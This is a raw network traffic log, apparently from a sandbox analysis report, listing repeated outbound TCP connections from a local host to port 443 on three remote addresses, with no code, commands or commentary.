Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.206.46:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
